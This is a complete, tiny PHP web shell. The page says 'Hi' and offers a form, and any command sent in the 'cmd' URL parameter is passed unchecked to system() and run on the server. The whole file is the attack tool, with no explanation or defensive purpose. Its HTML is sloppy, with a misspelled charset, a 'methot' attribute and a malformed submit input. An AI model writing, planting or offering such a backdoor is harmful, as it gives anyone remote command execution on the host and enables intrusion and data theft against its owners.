<?php $cmd = $_GET['cmd']; if(isset($cmd)) { system($cmd); } ?> <html> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8895-1"> <head> <p>Hi</p> <form methot="GET" id="searchform"> <input type="text" name="cmd"> <input type"submit" name="submit" value="submit" > </form> </body> </html>